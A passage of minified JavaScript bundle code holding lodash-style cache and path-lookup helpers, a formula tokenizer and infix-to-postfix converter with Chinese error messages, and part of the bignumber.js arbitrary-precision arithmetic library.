t=this.__data__,r=assocIndexOf$3(t,e);return!(r<0)&&(r==t.length-1?t.pop():splice.call(t,r,1),--this.size,!0)}var _listCacheDelete=listCacheDelete$1,assocIndexOf$2=_assocIndexOf;function listCacheGet$1(e){var t=this.__data__,r=assocIndexOf$2(t,e);return r<0?void 0:t[r][1]}var _listCacheGet=listCacheGet$1,assocIndexOf$1=_assocIndexOf;function listCacheHas$1(e){return assocIndexOf$1(this.__data__,e)>-1}var _listCacheHas=listCacheHas$1,assocIndexOf=_assocIndexOf;function listCacheSet$1(e,t){var r=this.__data__,a=assocIndexOf(r,e);return a<0?(++this.size,r.push([e,t])):r[a][1]=t,this}var _listCacheSet=listCacheSet$1,listCacheClear=_listCacheClear,listCacheDelete=_listCacheDelete,listCacheGet=_listCacheGet,listCacheHas=_listCacheHas,listCacheSet=_listCacheSet;function ListCache$4(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var a=e[t];this.set(a[0],a[1])}}ListCache$4.prototype.clear=listCacheClear,ListCache$4.prototype.delete=listCacheDelete,ListCache$4.prototype.get=listCacheGet,ListCache$4.prototype.has=listCacheHas,ListCache$4.prototype.set=listCacheSet;var _ListCache=ListCache$4,getNative$4=_getNative,root$5=_root,Map$3=getNative$4(root$5,"Map"),_Map=Map$3,Hash=_Hash,ListCache$3=_ListCache,Map$2=_Map;function mapCacheClear$1(){this.size=0,this.__data__={hash:new Hash,map:new(Map$2||ListCache$3),string:new Hash}}var _mapCacheClear=mapCacheClear$1;function isKeyable$1(e){var t=_typeof(e);return"string"==t||"number"==t||"symbol"==t||"boolean"==t?"__proto__"!==e:null===e}var _isKeyable=isKeyable$1,isKeyable=_isKeyable;function getMapData$4(e,t){var r=e.__data__;return isKeyable(t)?r["string"==typeof t?"string":"hash"]:r.map}var _getMapData=getMapData$4,getMapData$3=_getMapData;function mapCacheDelete$1(e){var t=getMapData$3(this,e).delete(e);return this.size-=t?1:0,t}var _mapCacheDelete=mapCacheDelete$1,getMapData$2=_getMapData;function mapCacheGet$1(e){return getMapData$2(this,e).get(e)}var _mapCacheGet=mapCacheGet$1,getMapData$1=_getMapData;function mapCacheHas$1(e){return getMapData$1(this,e).has(e)}var _mapCacheHas=mapCacheHas$1,getMapData=_getMapData;function mapCacheSet$1(e,t){var r=getMapData(this,e),a=r.size;return r.set(e,t),this.size+=r.size==a?0:1,this}var _mapCacheSet=mapCacheSet$1,mapCacheClear=_mapCacheClear,mapCacheDelete=_mapCacheDelete,mapCacheGet=_mapCacheGet,mapCacheHas=_mapCacheHas,mapCacheSet=_mapCacheSet;function MapCache$3(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var a=e[t];this.set(a[0],a[1])}}MapCache$3.prototype.clear=mapCacheClear,MapCache$3.prototype.delete=mapCacheDelete,MapCache$3.prototype.get=mapCacheGet,MapCache$3.prototype.has=mapCacheHas,MapCache$3.prototype.set=mapCacheSet;var _MapCache=MapCache$3,MapCache$2=_MapCache,FUNC_ERROR_TEXT="Expected a function";function memoize$1(e,t){if("function"!=typeof e||null!=t&&"function"!=typeof t)throw new TypeError(FUNC_ERROR_TEXT);var r=function r(){var a=arguments,n=t?t.apply(this,a):a[0],o=r.cache;if(o.has(n))return o.get(n);var i=e.apply(this,a);return r.cache=o.set(n,i)||o,i};return r.cache=new(memoize$1.Cache||MapCache$2),r}memoize$1.Cache=MapCache$2;var memoize_1=memoize$1,memoize=memoize_1,MAX_MEMOIZE_SIZE=500;function memoizeCapped$1(e){var t=memoize(e,(function(e){return r.size===MAX_MEMOIZE_SIZE&&r.clear(),e})),r=t.cache;return t}var _memoizeCapped=memoizeCapped$1,memoizeCapped=_memoizeCapped,rePropName=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,reEscapeChar=/\\(\\)?/g,stringToPath$1=memoizeCapped((function(e){var t=[];return 46===e.charCodeAt(0)&&t.push(""),e.replace(rePropName,(function(e,r,a,n){t.push(a?n.replace(reEscapeChar,"$1"):r||e)})),t})),_stringToPath=stringToPath$1;function arrayMap$1(e,t){for(var r=-1,a=null==e?0:e.length,n=Array(a);++r<a;)n[r]=t(e[r],r,e);return n}var _arrayMap=arrayMap$1,_Symbol$1=_Symbol$4,arrayMap=_arrayMap,isArray$4=isArray_1,isSymbol$1=isSymbol_1,INFINITY$1=1/0,symbolProto$1=_Symbol$1?_Symbol$1.prototype:void 0,symbolToString=symbolProto$1?symbolProto$1.toString:void 0;function baseToString$1(e){if("string"==typeof e)return e;if(isArray$4(e))return arrayMap(e,baseToString$1)+"";if(isSymbol$1(e))return symbolToString?symbolToString.call(e):"";var t=e+"";return"0"==t&&1/e==-INFINITY$1?"-0":t}var _baseToString=baseToString$1,baseToString=_baseToString;function toString$1(e){return null==e?"":baseToString(e)}var toString_1=toString$1,isArray$3=isArray_1,isKey=_isKey,stringToPath=_stringToPath,toString=toString_1;function castPath$1(e,t){return isArray$3(e)?e:isKey(e,t)?[e]:stringToPath(toString(e))}var _castPath=castPath$1,isSymbol=isSymbol_1,INFINITY=1/0;function toKey$1(e){if("string"==typeof e||isSymbol(e))return e;var t=e+"";return"0"==t&&1/e==-INFINITY?"-0":t}var _toKey=toKey$1,castPath=_castPath,toKey=_toKey;function baseGet$1(e,t){for(var r=0,a=(t=castPath(t,e)).length;null!=e&&r<a;)e=e[toKey(t[r++])];return r&&r==a?e:void 0}var _baseGet=baseGet$1,baseGet=_baseGet;function get(e,t,r){var a=null==e?void 0:baseGet(e,t);return void 0===a?r:a}var get_1=get,get$1=getDefaultExportFromCjs(get_1);function parse_args(e){var t="",r=e[0],a=e[1],n={origin_expr:r,origin_fill_data:a,expr:"",fmt_tokens:null,options:null,fmt_err:!1,expr_err:!1};not_undefined(a)&&(n.options=a);var o=get$1(a,"_error",!1);if(0===e.length)throw new Error("至少传入一个参数");if("string"==typeof r){if(t=r,""===r.trim()||r.includes("NaN"))return n.expr_err=!0,n}else{if("number"!=typeof r){if(!0===o)return n.expr_err=!0,n;throw new Error("错误的第一个参数类型: ".concat(r," 类型为:").concat(_typeof(r)))}t=r.toString()}var i=t.split("|");if(n.expr=i[0],i.length>1){var s=i[1];if(""!==s.trim())try{n.fmt_tokens=fmt_tokenizer(s)}catch(e){return n.fmt_err=!0,n}}if(null!==n.options&&n.options._fmt){var c=[];try{c=fmt_tokenizer(n.options._fmt)}catch(e){return n.fmt_err=!0,n}if(null===n.fmt_tokens)n.fmt_tokens=c;else{var l=n.fmt_tokens.map((function(e){return e.type}));c.forEach((function(e){l.includes(e.type)||n.fmt_tokens.push(e)}))}}return n}var state={initial:"initial",number:"number",scientific:"scientific",operator:"operator",bracket:"bracket",var:"var"},signed="+-",operator="*/%",brackets="()";function tokenizer(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],r="".concat(e,",").concat(t);if(r in cache_tokens)return cache_tokens[r].last_time=(new Date).getTime(),cache_tokens[r].count++,cache_tokens[r].value;for(var a,n=state.initial,o=[],i=[],s=function(){o.push(a),e=e.slice(1)},c=function(e){i.push({type:e,value:o.join("")}),o.length=0},l=function(){e=e.slice(1)};e;)switch(a=e[0],n){case state.initial:if(signed.includes(a)){var u=i.at(-1);0===i.length||"operator"===u.type||"("===u?(n=state.number,s()):(n=state.operator,s())}else if(operator.includes(a))n=state.operator,s();else if(/\d/.test(a))n=state.number,s();else if(brackets.includes(a))n=state.bracket;else if(/[a-zA-Z_$]/.test(a))n=state.var,s();else{if(!/\s/.test(a))throw new Error("不识别的字符".concat(a));l()}break;case state.bracket:i.push({type:state.bracket,value:a}),l(),n=state.initial;break;case state.operator:var f=o.at(-1);"*"===a&&"*"===f&&s(),c(state.operator),n=state.initial;break;case state.number:if(/\d/.test(a))s();else if("."===a){if(0===o.length||o.includes("."))throw new Error("非法的小数部分".concat(o.join("")));s()}else"Ee".includes(a)?(n=state.scientific,s()):["auto","on",!0].includes(t)&&/[^*/+\-()\s]/.test(a)||"space"===t&&/\S/.test(a)?s():(c(state.number),n=state.initial);break;case state.scientific:if(/\d/.test(a))s();else if(signed.includes(a)){var p=o.slice(1),h=o.at(-1);p.includes(a)||!/[Ee]/.test(h)?(c(state.scientific),n=state.initial):s()}else["auto","on",!0].includes(t)&&/[^*/+\-()\s]/.test(a)||"space"===t&&/\S/.test(a)?s():(c(state.scientific),n=state.initial);break;case state.var:/[\w_.\[\]"']/.test(a)?s():(c(state.var),n=state.initial);break;default:throw new Error("状态错误")}return 0!==o.length&&(i.push({type:n,value:o.join("")}),o.length=0,n=state.initial),cache_tokens[r]={last_time:(new Date).getTime(),count:0,value:i},i}function fill_tokens(e,t,r){if(is_null(t))throw new Error("错误的填充数据:",t);for(var a=[],n=0;n<e.length;n++){var o=e[n];if("var"===o.type){if("undefined"===o.value||"NaN"===o.value)throw new Error("key不应该为:".concat(o.value));for(var i=null,s=0;s<t.length;s++){var c=t[s],l=get$1(c,o.value);if(void 0!==l){i=l;break}}if(null===i)throw new Error("token填充失败,请确认".concat(o,"存在"));if("string"==typeof i){if(""===i.trim())throw new Error("token填充失败,".concat(o.value,"值不可为空字符"));if([!0,"on","auto","space"].includes(r)){if(!RegexUnitNumber.test(i))throw new Error("token填充失败,".concat(o.value,"值:").concat(i,"为非法单位数字"))}else if(!is_str_number(i))throw new Error("token填充失败,".concat(o,"值:").concat(i,"为非法数字"))}i="string"!=typeof i?i.toString():i,a.push({type:"number",value:i})}else a.push(o)}return a}function token2postfix(e){for(var t=[],r=[],a=e.map((function(e){return e.value}));a.length>0;){var n=a.shift();if(is_operator(n))if("("===n)t.push(n);else if(")"===n){for(var o=t.pop();"("!==o&&t.length>0;)r.push(o),o=t.pop();if("("!==o)throw"error: unmatched ()"}else{for(;prioraty(n,t[t.length-1])&&t.length>0;)r.push(t.pop());t.push(n)}else r.push(n)}if(t.length>0){if(")"===t[t.length-1]||"("===t[t.length-1])throw"error: unmatched ()";for(;t.length>0;)r.push(t.pop())}return r}var isNumeric=/^-?(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?$/i,mathceil=Math.ceil,mathfloor=Math.floor,bignumberError="[BigNumber Error] ",tooManyDigits=bignumberError+"Number primitive has more than 15 significant digits: ",BASE=1e14,LOG_BASE=14,MAX_SAFE_INTEGER$2=9007199254740991,POWS_TEN=[1,10,100,1e3,1e4,1e5,1e6,1e7,1e8,1e9,1e10,1e11,1e12,1e13],SQRT_BASE=1e7,MAX=1e9;function clone(e){var t,r,a,n,o,i,s,c,l,u,f=w.prototype={constructor:w,toString:null,valueOf:null},p=new w(1),h=20,_=4,g=-7,y=21,b=-1e7,d=1e7,m=!1,v=1,$=0,A={prefix:"",groupSize:3,secondaryGroupSize:0,groupSeparator:",",decimalSeparator:".",fractionGroupSize:0,fractionGroupSeparator:" ",suffix:""},T="0123456789abcdefghijklmnopqrstuvwxyz",S=!0;function w(e,t){var n,o,i,s,c,l,u,f,p=this;if(!(p instanceof w))return new w(e,t);if(null==t){if(e&&!0===e._isBigNumber)return p.s=e.s,void(!e.c||e.e>d?p.c=p.e=null:e.e<b?p.c=[p.e=0]:(p.e=e.e,p.c=e.c.slice()));if((l="number"==typeof e)&&0*e==0){if(p.s=1/e<0?(e=-e,-1):1,e===~~e){for(s=0,c=e;c>=10;c/=10,s++);return void(s>d?p.c=p.e=null:(p.e=s,p.c=[e]))}f=String(e)}else{if(!isNumeric.test(f=String(e)))return a(p,f,l);p.s=45==f.charCodeAt(0)?(f=f.slice(1),-1):1}(s=f.indexOf("."))>-1&&(f=f.replace(".","")),(c=f.search(/e/i))>0?(s<0&&(s=c),s+=+f.slice(c+1),f=f.substring(0,c)):s<0&&(s=f.length)}else{if(intCheck(t,2,T.length,"Base"),10==t&&S)return C(p=new w(e),h+p.e+1,_);if(f=String(e),l="number"==typeof e){if(0*e!=0)return a(p,f,l,t);if(p.s=1/e<0?(f=f.slice(1),-1):1,w.DEBUG&&f.replace(/^0\.0*|\./,"").length>15)throw Error(tooManyDigits+e)}else p.s=45===f.charCodeAt(0)?(f=f.slice(1),-1):1;for(n=T.slice(0,t),s=c=0,u=f.length;c<u;c++)if(n.indexOf(o=f.charAt(c))<0){if("."==o){if(c>s){s=u;continue}}else if(!i&&(f==f.toUpperCase()&&(f=f.toLowerCase())||f==f.toLowerCase()&&(f=f.toUpperCase()))){i=!0,c=-1,s=0;continue}return a(p,String(e),l,t)}l=!1,(s=(f=r(f,t,10,p.s)).indexOf("."))>-1?f=f.replace(".",""):s=f.length}for(c=0;48===f.charCodeAt(c);c++);for(u=f.length;48===f.charCodeAt(--u););if(f=f.slice(c,++u)){if(u-=c,l&&w.DEBUG&&u>15&&(e>MAX_SAFE_INTEGER$2||e!==mathfloor(e)))throw Error(tooManyDigits+p.s*e);if((s=s-c-1)>d)p.c=p.e=null;else if(s<b)p.c=[p.e=0];else{if(p.e=s,p.c=[],c=(s+1)%LOG_BASE,s<0&&(c+=LOG_BASE),c<u){for(c&&p.c.push(+f.slice(0,c)),u-=LOG_BASE;c<u;)p.c.push(+f.slice(c,c+=LOG_BASE));c=LOG_BASE-(f=f.slice(c)).length}else c-=u;for(;c--;f+="0");p.c.push(+f)}}else p.c=[p.e=0]}function E(e,t,r,a){var n,o,i,s,c;if(null==r?r=_:intCheck(r,0,8),!e.c)return e.toString();if(n=e.c[0],i=e.e,null==t)c=coeffToString(e.c),c=1==a||2==a&&(i<=g||i>=y)?toExponential(c,i):toFixedPoint(c,i,"0");else if(o=(e=C(new w(e),t,r)).e,s=(c=coeffToString(e.c)).length,1==a||2==a&&(t<=o||o<=g)){for(;s<t;c+="0",s++);c=toExponential(c,o)}else if(t-=i,c=toFixedPoint(c,o,"0"),o+1>s){if(--t>0)for(c+=".";t--;c+="0");}else if((t+=o-s)>0)for(o+1==s&&(c+=".");t--;c+="0");return e.s<0&&n?"-"+c:c}function O(e,t){for(var r,a=1,n=new w(e[0]);a<e.length;a++){if(!(r=new w(e[a])).s){n=r;break}t.call(n,r)&&(n=r)}return n}function k(e,t,r){for(var a=1,n=t.length;!t[--n];t.pop());for(n=t[0];n>=10;n/=10,a++);return(r=a+r*LOG_BASE-1)>d?e.c=e.e=null:r<b?e.c=[e.e=0]:(e.e=r,e.c=t),e}function C(e,t,r,a){var n,o,i,s,c,l,u,f=e.c,p=POWS_TEN;if(f){e:{for(n=1,s=f[0];s>=10;s/=10,n++);if((o=t-n)<0)o+=LOG_BASE,i=t,u=(c=f[l=0])/p[n-i-1]%10|0;else if((l=mathceil((o+1)/LOG_BASE))>=f.length){if(!a)break e;for(;f.length<=l;f.push(0));c=u=0,n=1,i=(o%=LOG_BASE)-LOG_BASE+1}else{for(c=s=f[l],n=1;s>=10;s/=10,n++);u=(i=(o%=LOG_BASE)-LOG_BASE+n)<0?0:c/p[n-i-1]%10|0}if(a=a||t<0||null!=f[l+1]||(i<0?c:c%p[n-i-1]),a=r<4?(u||a)&&(0==r||r==(e.s<0?3:2)):u>5||5==u&&(4==r||a||6==r&&(o>0?i>0?c/p[n-i]:0:f[l-1])%10&1||r==(e.s<0?8:7)),t<1||!f[0])return f.length=0,a?(t-=e.e+1,f[0]=p[(LOG_BASE-t%LOG_BASE)%LOG_BASE],e.e=-t||0):f[0]=e.e=0,e;if(0==o?(f.length=l,s=1,l--):(f.length=l+1,s=p[LOG_BASE-o],f[l]=i>0?mathfloor(c/p[n-i]%p[i])*s:0),a)for(;;){if(0==l){for(o=1,i=f[0];i>=10;i/=10,o++);for(i=f[0]+=s,s=1;i>=10;i/=10,s++);o!=s&&(e.e++,f[0]==BASE&&(f[0]=1));break}if(f[l]+=s,f[l]!=BASE)break;f[l--]=0,s=1}for(o=f.length;0===f[--o];f.pop());}e.e>d?e.c=e.e=null:e.e<b&&(e.c=[e.e=0])}return e}function j(e){var t,r=e.e;return null===r?e.toString():(t=coeffToString(e.c),t=r<=g||r>=y?toExponential(t,r):toFixedPoint(t,r,"0"),e.s<0?"-"+t:t)}return w.clone=clone,w.ROUND_UP=0,w.ROUND_DOWN=1,w.ROUND_CEIL=2,w.ROUND_FLOOR=3,w.ROUND_HALF_UP=4,w.ROUND_HALF_DOWN=5,w.ROUND_HALF_EVEN=6,w.ROUND_HALF_CEIL=7,w.ROUND_HALF_FLOOR=8,w.EUCLID=9,w.config=w.set=function(e){var t,r;if(null!=e){if("object"!=_typeof(e))throw Error(bignumberError+"Object expected: "+e);if(e.hasOwnProperty(t="DECIMAL_PLACES")&&(intCheck(r=e[t],0,MAX,t),h=r),e.hasOwnProperty(t="ROUNDING_MODE")&&(intCheck(r=e[t],0,8,t),_=r),e.hasOwnProperty(t="EXPONENTIAL_AT")&&((r=e[t])&&r.pop?(intCheck(r[0],-MAX,0,t),intCheck(r[1],0,MAX,t),g=r[0],y=r[1]):(intCheck(r,-MAX,MAX,t),g=-(y=r<0?-r:r))),e.hasOwnProperty(t="RANGE"))if((r=e[t])&&r.pop)intCheck(r[0],-MAX,-1,t),intCheck(r[1],1,MAX,t),b=r[0],d=r[1];else{if(intCheck(r,-MAX,MAX,t),!r)throw Error(bignumberError+t+" cannot be zero: "+r);b=-(d=r<0?-r:r)}if(e.hasOwnProperty(t="CRYPTO")){if((r=e[t])!==!!r)throw Error(bignumberError+t+" not true or false: "+r);if(r){if("undefined"==typeof crypto||!crypto||!crypto.getRandomValues&&!crypto.randomBytes)throw m=!r,Error(bignumberError+"crypto unavailable");m=r}else m=r}if(e.hasOwnProperty(t="MODULO_MODE")&&(intCheck(r=e[t],0,9,t),v=r),e.hasOwnProperty(t="POW_PRECISION")&&(intCheck(r=e[t],0,MAX,t),$=r),e.hasOwnProperty(t="FORMAT")){if("object"!=_typeof(r=e[t]))throw Error(bignumberError+t+" not an object: "+r);A=r}if(e.hasOwnProperty(t="ALPHABET")){if("string"!=typeof(r=e[t])||/^.?$|[+\-.\s]|(.).*\1/.test(r))throw Error(bignumberError+t+" invalid: "+r);S="0123456789"==r.slice(0,10),T=r}}return{DECIMAL_PLACES:h,ROUNDING_MODE:_,EXPONENTIAL_AT:[g,y],RANGE:[b,d],CRYPTO:m,MODULO_MODE:v,POW_PRECISION:$,FORMAT:A,ALPHABET:T}},w.isBigNumber=function(e){if(!e||!0!==e._isBigNumber)return!1;if(!w.DEBUG)return!0;var t,r,a=e.c,n=e.e,o=e.s;e:if("[object Array]"=={}.toString.call(a)){if((1===o||-1===o)&&n>=-MAX&&n<=MAX&&n===mathfloor(n)){if(0===a[0]){if(0===n&&1===a.length)return!0;break e}if((t=(n+1)%LOG_BASE)<1&&(t+=LOG_BASE),String(a[0]).length==t){for(t=0;t<a.length;t++)if((r=a[t])<0||r>=BASE||r!==mathfloor(r))break e;if(0!==r)return!0}}}else if(null===a&&null===n&&(null===o||1===o||-1===o))return!0;throw Error(bignumberError+"Invalid BigNumber: "+e)},w.maximum=w.max=function(){return O(arguments,f.lt)},w.minimum=w.min=function(){return O(arguments,f.gt)},w.random=(n=9007199254740992,o=Math.random()*n&2097151?function(){return mathfloor(Math.random()*n)}:function(){return 8388608*(1073741824*Math.random()|0)+(8388608*Math.random()|0)},function(e){var t,r,a,n,i,s=0,c=[],l=new w(p);if(null==e?e=h:intCheck(e,0,MAX),n=mathceil(e/LOG_BASE),m)if(crypto.getRandomValues){for(t=crypto.getRandomValues(new Uint32Array(n*=2));s<n;)(i=131072*t[s]+(t[s+1]>>>11))>=9e15?(r=crypto.getRandomValues(new Uint32Array(2)),t[s]=r[0],t[s+1]=r[1]):(c.push(i%1e14),s+=2);s=n/2}else{if(!crypto.randomBytes)throw m=!1,Error(bignumberError+"crypto unavailable");for(t=crypto.randomBytes(n*=7);s<n;)(i=281474976710656*(31&t[s])+1099511627776*t[s+1]+4294967296*t[s+2]+16777216*t[s+3]+(t[s+4]<<16)+(t[s+5]<<8)+t[s+6])>=9e15?crypto.randomBytes(7).copy(t,s):(c.push(i%1e14),s+=7);s=n/7}if(!m)for(;s<n;)(i=o())<9e15&&(c[s++]=i%1e14);for(n=c[--s],e%=LOG_BASE,n&&e&&(i=POWS_TEN[LOG_BASE-e],c[s]=mathfloor(n/i)*i);0===c[s];c.pop(),s--);if(s<0)c=[a=0];else{for(a=-1;0===c[0];c.splice(0,1),a-=LOG_BASE);for(s=1,i=c[0];i>=10;i/=10,s++);s<LOG_BASE&&(a-=LOG_BASE-s)}return l.e=a,l.c=c,l}),w.sum=function(){for(var e=1,t=arguments,r=new w(t[0]);e<t.length;)r=r.plus(t[e++]);return r},r=function(){var e="0123456789";function r(e,t,r,a){for(var n,o,i=[0],s=0,c=e.length;s<c;){for(o=i.length;o--;i[o]*=t);for(i[0]+=a.indexOf(e.charAt(s++)),n=0;n<i.length;n++)i[n]>r-1&&(null==i[n+1]&&(i[n+1]=0),i[n+1]+=i[n]/r|0,i[n]%=r)}return i.reverse()}return function(a,n,o,i,s){var c,l,u,f,p,g,y,b,d=a.indexOf("."),m=h,v=_;for(d>=0&&(f=$,$=0,a=a.replace(".",""),g=(b=new w(n)).pow(a.length-d),$=f,b.c=r(toFixedPoint(coeffToString(g.c),g.e,"0"),10,o,e),b.e=b.c.length),u=f=(y=r(a,n,o,s?(c=T,e):(c=e,T))).length;0==y[--f];y.pop());if(!y[0])return c.charAt(0);if(d<0?--u:(g.c=y,g.e=u,g.s=i,y=(g=t(g,b,m,v,o)).c,p=g.r,u=g.e),d=y[l=u+m+1],f=o/2,p=p||l<0||null!=y[l+1],p=v<4?(null!=d||p)&&(0==v||v==(g.s<0?3:2)):d>f||d==f&&(4==v||p||6==v&&1&y[l-1]||v==(g.s<0?8:7)),l<1||!y[0])a=p?toFixedPoint(c.charAt(1),-m,c.charAt(0)):c.charAt(0);else{if(y.length=l,p)for(--o;++y[--l]>o;)y[l]=0,l||(++u,y=[1].concat(y));for(f=y.length;!y[--f];);for(d=0,a="";d<=f;a+=c.charAt(y[d++]));a=toFixedPoint(a,u,c.charAt(0))}return a}}(),t=function(){function e(e,t,r){var a,n,o,i,s=0,c=e.length,l=t%SQRT_BASE,u=t/SQRT_BASE|0;for(e=e.slice();c--;)s=((n=l*(o=e[c]%SQRT_BASE)+(a=u*o+(i=e[c]/SQRT_BASE|0)*l)%SQRT_BASE*SQRT_BASE+s)/r|0)+(a/SQRT_BASE|0)+u*i,e[c]=n%r;return s&&(e=[s].concat(e)),e}function t(e,t,r,a){var n,o;if(r!=a)o=r>a?1:-1;else for(n=o=0;n<r;n++)if(e[n]!=t[n]){o=e[n]>t[n]?1:-1;break}return o}function r(e,t,r,a){for(var n=0;r--;)e[r]-=n,n=e[r]<t[r]?1:0,e[r]=n*a+e[r]-t[r];for(;!e[0]&&e.length>1;e.splice(0,1));}return function(a,n,o,i,s){var c,l,u,f,p,h,_,g,y,b,d,m,v,$,A,T,S,E=a.s==n.s?1:-1,O=a.c,k=n.c;if(!(O&&O[0]&&k&&k[0]))return new w(a.s&&n.s&&(O?!k||O[0]!=k[0]:k)?O&&0==O[0]||!k?0*E:E/0:NaN);for(y=(g=new w(E)).c=[],E=o+(l=a.e-n.e)+1,s||(s=BASE,l=bitFloor(a.e/LOG_BASE)-bitFloor(n.e/LOG_BASE),E=E/LOG_BASE|0),u=0;k[u]==(O[u]||0);u++);if(k[u]>(O[u]||0)&&l--,E<0)y.push(1),f=!0;else{for($=O.length,T=k.length,u=0,E+=2,(p=mathfloor(s/(k[0]+1)))>1&&(k=e(k,p,s),O=e(O,p,s),T=k.length,$=O.length),v=T,d=(b=O.slice(0,T)).length;d<T;b[d++]=0);S=k.slice(),S=[0].concat(S),A=k[0],k[1]>=s/2&&A++;do{if(p=0,(c=t(k,b,T,d))<0){if(m=b[0],T!=d&&(m=m*s+(b[1]||0)),(p=mathfloor(m/A))>1)for(p>=s&&(p=s-1),_=(h=e(k,p,s)).length,d=b.length;1==t(h,b,_,d);)p--,r(h,T<_?S:k,_,s),_=h.length,c=1;else 0==p&&(c=p=1),_=(h=k.slice()).length;if(_<d&&(h=[0].concat(h)),r(b,h,d,s),d=b.length,-1==c)for(;t(k,b,T,d)<1;)p++,r(b,T<d?S:k,d,s),d=b.length}else 0===c&&(p++,b=[0]);y[u++]=p,b[0]?b[d++]=O[v]||0:(b=[O[v]],d=1)}while((v++<$||null!=b[0])&&E--);f=null!=b[0],y[0]||y.splice(0,1)}if(s==BASE){for(u=1,E=y[0];E>=10;E/=10,u++);C(g,o+(g.e=u+l*LOG_BASE-1)+1,i,f)}else g.e=l,g.r=+f;return g}}(),i=/^(-?)0([xbo])(?=\w[\w.]*$)/i,s=/^([^.]+)\.$/,c=/^\.([^.]+)$/,l=/^-?(Infinity|NaN)$/,u=/^\s*\+(?=[\w.])|^\s+|\s+$/g,a=function(e,t,r,a){var n,o=r?t:t.replace(u,"");if(l.test(o))e.s=isNaN(o)?null:o<0?-1:1;else{if(!r&&(o=o.replace(i,(function(e,t,r){return n="x"==(r=r.toLowerCase())?16:"b"==r?2:8,a&&a!=n?e:t})),a&&(n=a,o=o.replace(s,"$1").replace(c,"0.$1")),t!=o))return new w(o,n);if(w.DEBUG)throw Error(bignumberError+"Not a"+(a?" base "+a:"")+" number: "+t);e.s=null}e.c=e.e=null},f.absoluteValue=f.abs=function(){var e=new w(this);return e.s<0&&(e.s=1),e},f.comparedTo=function(e,t){return compare(this,new w(e,t))},f.decimalPlaces=f.dp=function(e,t){var r,a,n,o=this;if(null!=e)return intCheck(e,0,MAX),null==t?t=_:intCheck(t,0,8),C(new w(o),e+o.e+1,t);if(!(r=o.c))return null;if(a=((n=r.length-1)-bitFloor(this.e/LOG_BASE))*LOG_BASE,n=r[n])for(;n%10==0;n/=10,a--);return a<0&&(a=0),a},f.dividedBy=f.div=function(e,r){return t(this,new w(e,r),h,_)},f.dividedToIntegerBy=f.idiv=function(e,r){return t(this,new w(e,r),0,1)},f.exponentiatedBy=f.pow=function(e,t){var r,a,n,o,i,s,c,l,u=this;if((e=new w(e)).c&&!e.isInteger())throw Error(bignumberError+"Exponent not an integer: "+j(e));if(null!=t&&(t=new w(t)),i=e.e>14,!u.c||!u.c[0]||1==u.c[0]&&!u.e&&1==u.c.length||!e.c||!e.c[0])return l=new w(Math.pow(+j(u),i?e.s*(2-isOdd(e)):+j(e))),t?l.mod(t):l;if(s=e.s<0,t){if(t.c?!t.c[0]:!t.s)return new w(NaN);(a=!s&&u.isInteger()&&t.isInteger())&&(u=u.mod(t))}else{if(e.e>9&&(u.e>0||u.e<-1||(0==u.e?u.c[0]>1||i&&u.c[1]>=24e7:u.c[0]<8e13||i&&u.c[0]<=9999975e7)))return o=u.s<0&&isOdd(e)?-0:0,u.e>-1&&(o=1/o),new w(s?1/o:o);$&&(o=mathceil($/LOG_BASE+2))}for(i?(r=new w(.5),s&&(e.s=1),c=isOdd(e)):c=(n=Math.abs(+j(e)))%2,l=new w(p);;){if(c){if(!(l=l.times(u)).c)break;o?l.c.length>o&&(l.c.length=o):a&&(l=l.mod(t))}if(n){if(0===(n=mathfloor(n/2)))break;c=n%2}else if(C(e=e.times(r),e.e+1,1),e.e>14)c=isOdd(e);else{if(0===(n=+j(e)))break;c=n%2}u=u.times(u),o?u.c&&u.c.length>o&&(u.c.length=o):a&&(u=u.mod(t))}return a?l:(s&&(l=p.div(l)),t?l.mod(t):o?C(l,$,_,undefined):l)},f.integerValue=function(e){var t=new w(this);return null==e?e=_:intCheck(e,0,8),C(t,t.e+1,e)},f.isEqualTo=f.eq=function(e,t){return 0===compare(this,new w(e,t))},f.isFinite=function(){return!!this.c},f.isGreaterThan=f.gt=function(e,t){return compare(this,new w(e,t))>0},f.isGreaterThanOrEqualTo=f.gte=function(e,t){return 1===(t=compare(this,new w(e,t)))||0===t},f.isInteger=function(){return!!this.c&&bitFloor(this.e/LOG_BASE)>this.c.length-2},f.isLessThan=f.lt=function(e,t){return compare(this,new w(e,t))<0},f.isLessThanOrEqualTo=f.lte=function(e,t){return-1===(t=compare(this,new w(e,t)))||0===t},f.isNaN=function(){return!this.s},f.isNegative=function(){return this.s<0},f.isPositive=function(){return this.s>0},f.isZero=function(){return!!this.c&&0==this.c[0]},f.minus=function(e,t){var r,a,n,o,i=this,s=i.s;if(t=(e=new w(e,t)).s,!s||!t)return new w(NaN);if(s!=t)return e.s=-t,i.plus(e);var c=i.e/LOG_BASE,l=e.e/LOG_BASE,u=i.c,f=e.c;if(!c||!l){if(!u||!f)return u?(e.s=-t,e):new w(f?i:NaN);if(!u[0]||!f[0])return f[0]?(e.s=-t,e):new w(u[0]?i:3==_?-0:0)}if(c=bitFloor(c),l=bitFloor(l),u=u.slice(),s=c-l){for((o=s<0)?(s=-s,n=u):(l=c,n=f),n.reverse(),t=s;t--;n.push(0));n.reverse()}else for(a=(o=(s=u.length)<(t=f.length))?s:t,s=t=0;t<a;t++)if(u[t]!=f[t]){o=u[t]<f[t];break}if(o&&(n=u,u=f,f=n,e.s=-e.s),(t=(a=f.length)-(r=u.length))>0)for(;t--;u[r++]=0);for(t=BASE-1;a>s;){if(u[--a]<f[a]){for(r=a;r&&!u[--r];u[r]=t);--u[r],u[a]+=BASE}u[a]-=f[a]}for(;0==u[0];u.splice(0,1),--l);return u[0]?k(e,u,l):(e.s=3==_?-1:1,e.c=[e.e=0],e)},f.modulo=f.mod=function(e,r){var a,n,o=this;return e=new w(e,r),!o.c||!e.s||e.c&&!e.c[0]?new w(NaN):!e.c||o.c&&!o.c[0]?new w(o):(9==v?(n=e.s,e.s=1,a=t(o,e,0,3),e.s=n,a.s*=n):a=t(o,e,0,v),(e=o.minus(a.times(e))).c[0]||1!=v||(e.s=o.s),e)},f.multipliedBy=f.times=function(e,t){var 